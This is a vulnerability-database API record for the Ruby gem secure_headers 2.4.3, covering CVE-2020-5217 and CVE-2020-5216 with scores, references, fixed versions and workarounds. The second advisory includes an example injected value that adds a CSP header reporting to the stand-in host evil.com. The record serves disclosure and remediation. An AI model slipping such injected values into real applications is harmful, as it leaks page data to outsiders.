Package Instance
Lookup for vulnerable packages by Package URL.
GET /api/packages/247404?format=api
{ "url": "http://public2.vulnerablecode.io/api/packages/247404?format=api", "purl": "pkg:gem/secure_headers@2.4.3", "type": "gem", "namespace": "", "name": "secure_headers", "version": "2.4.3", "qualifiers": {}, "subpath": "", "is_vulnerable": true, "next_non_vulnerable_version": "3.9.0", "latest_non_vulnerable_version": "6.3.0", "affected_by_vulnerabilities": [ { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/51656?format=api", "vulnerability_id": "VCID-f7yt-1t4f-ufhx", "summary": "secure_headers directive injection using semicolon\nIf user-supplied input was passed into append/override_content_security_policy_directives,\na semicolon could be injected leading to directive injection.\n\nThis could be used to e.g. override a script-src directive. Duplicate directives are ignored\nand the first one wins. The directives in secure_headers are sorted alphabetically so they\npretty much all come before script-src. A previously undefined directive would receive a value\neven if SecureHeaders::OPT_OUT was supplied.\n\nThe fixed versions will silently convert the semicolons to spaces and emit a deprecation warning\nwhen this happens. This will result in innocuous browser console messages if being\nexploited/accidentally used. In future releases, we will raise application errors resulting in\n500s.\n\n> Duplicate script-src directives detected. All but the first instance will be ignored.\n\nSee https://www.w3.org/TR/CSP3/#parse-serialized-policy\n\n> Note: In this case, the user agent SHOULD notify developers that a duplicate directive was\n> ignored. A console warning might be appropriate, for example.\n\n# Workarounds\n\nIf you are passing user input into the above methods, you could filter out the input:\n\n```\noverride_content_security_policy_directives(:frame_src, [user_input.gsub(\";\", \" \")])\n```", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2020-5217.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.8", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2020-5217.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2020-5217", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00521", "scoring_system": "epss", "scoring_elements": "0.67202", "published_at": "2026-06-04T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2020-5217" }, { "reference_url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/secure_headers/CVE-2020-5217.yml", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/secure_headers/CVE-2020-5217.yml" }, { "reference_url": "https://github.com/twitter/secure_headers", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/twitter/secure_headers" }, { "reference_url": "https://github.com/twitter/secure_headers/commit/936a160e3e9659737a9f9eafce13eea36b5c9fa3", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/twitter/secure_headers/commit/936a160e3e9659737a9f9eafce13eea36b5c9fa3" }, { "reference_url": "https://github.com/twitter/secure_headers/issues/418", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/twitter/secure_headers/issues/418" }, { "reference_url": "https://github.com/twitter/secure_headers/pull/421", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/twitter/secure_headers/pull/421" }, { "reference_url": "https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.4", "scoring_system": "cvssv3", "scoring_elements": "" }, { "value": "4.4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=1801264", "reference_id": "1801264", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1801264" }, { "reference_url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=949999", "reference_id": "949999", "reference_type": "", "scores": [], "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=949999" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2020-5217", "reference_id": "CVE-2020-5217", "reference_type": "", "scores": [ { "value": "4.4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-5217" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2020:4366", "reference_id": "RHSA-2020:4366", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2020:4366" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/76499?format=api", "purl": "pkg:gem/secure_headers@3.8.0", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-mr8k-d23n-e3c6" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:gem/secure_headers@3.8.0" }, { "url": "http://public2.vulnerablecode.io/api/packages/76500?format=api", "purl": "pkg:gem/secure_headers@5.1.0", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-mr8k-d23n-e3c6" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:gem/secure_headers@5.1.0" }, { "url": "http://public2.vulnerablecode.io/api/packages/76501?format=api", "purl": "pkg:gem/secure_headers@6.2.0", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-mr8k-d23n-e3c6" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:gem/secure_headers@6.2.0" } ], "aliases": [ "CVE-2020-5217", "GHSA-xq52-rv6w-397c" ], "risk_score": 3.1, "exploitability": "0.5", "weighted_severity": "6.2", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-f7yt-1t4f-ufhx" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/51655?format=api", "vulnerability_id": "VCID-mr8k-d23n-e3c6", "summary": "secure_headers header injection due to newline\nIf user-supplied input was passed into append/override_content_security_policy_directives,\na newline could be injected leading to limited header injection.\n\nUpon seeing a newline in the header, rails will silently create a new Content-Security-Policy\nheader with the remaining value of the original string. It will continue to create new headers\nfor each newline.\n\ne.g.\n\n```\noverride_content_security_directives(script_src: ['mycdn.com', \"\\ninjected\\n\"])\n```\n\nwould result in\n\n```\nContent-Security-Policy: ... script-src: mycdn.com\nContent-Security-Policy: injected\nContent-Security-Policy: rest-of-the-header\n```\n\nCSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:\n\n```\noverride_content_security_directives(script_src: [\"mycdn.com\", \"\\ndefault-src 'none'; report-uri evil.com\"])\n```\n\n```\nContent-Security-Policy: ... script-src: mycdn.com\nContent-Security-Policy: default-src 'none'; report-uri evil.com\nContent-Security-Policy: rest-of-the-header\n```\n\nWorkarounds\n```\noverride_content_security_policy_directives(:frame_src, [user_input.gsub(\"\\n\", \" \")])\n```", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2020-5216.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.8", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2020-5216.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2020-5216", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00347", "scoring_system": "epss", "scoring_elements": "0.57521", "published_at": "2026-06-04T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2020-5216" }, { "reference_url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/secure_headers/CVE-2020-5216.yml", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/secure_headers/CVE-2020-5216.yml" }, { "reference_url": "https://github.com/twitter/secure_headers", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/twitter/secure_headers" }, { "reference_url": "https://github.com/twitter/secure_headers/commit/301695706f6a70517c2a90c6ef9b32178440a2d0", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/twitter/secure_headers/commit/301695706f6a70517c2a90c6ef9b32178440a2d0" }, { "reference_url": "https://github.com/twitter/secure_headers/security/advisories/GHSA-w978-rmpf-qmwg", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.4", "scoring_system": "cvssv3", "scoring_elements": "" }, { "value": "4.4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/twitter/secure_headers/security/advisories/GHSA-w978-rmpf-qmwg" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=1801286", "reference_id": "1801286", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1801286" }, { "reference_url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=949998", "reference_id": "949998", "reference_type": "", "scores": [], "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=949998" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2020-5216", "reference_id": "CVE-2020-5216", "reference_type": "", "scores": [ { "value": "4.4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-5216" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2020:4366", "reference_id": "RHSA-2020:4366", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2020:4366" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/76510?format=api", "purl": "pkg:gem/secure_headers@3.9.0", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:gem/secure_headers@3.9.0" }, { "url": "http://public2.vulnerablecode.io/api/packages/76511?format=api", "purl": "pkg:gem/secure_headers@5.2.0", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:gem/secure_headers@5.2.0" }, { "url": "http://public2.vulnerablecode.io/api/packages/247465?format=api", "purl": "pkg:gem/secure_headers@6.0.0.alpha01", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:gem/secure_headers@6.0.0.alpha01" }, { "url": "http://public2.vulnerablecode.io/api/packages/76512?format=api", "purl": "pkg:gem/secure_headers@6.3.0", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:gem/secure_headers@6.3.0" } ], "aliases": [ "CVE-2020-5216", "GHSA-w978-rmpf-qmwg" ], "risk_score": 3.1, "exploitability": "0.5", "weighted_severity": "6.2", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-mr8k-d23n-e3c6" } ], "fixing_vulnerabilities": [], "risk_score": "3.1", "resource_url": "http://public2.vulnerablecode.io/packages/pkg:gem/secure_headers@2.4.3" }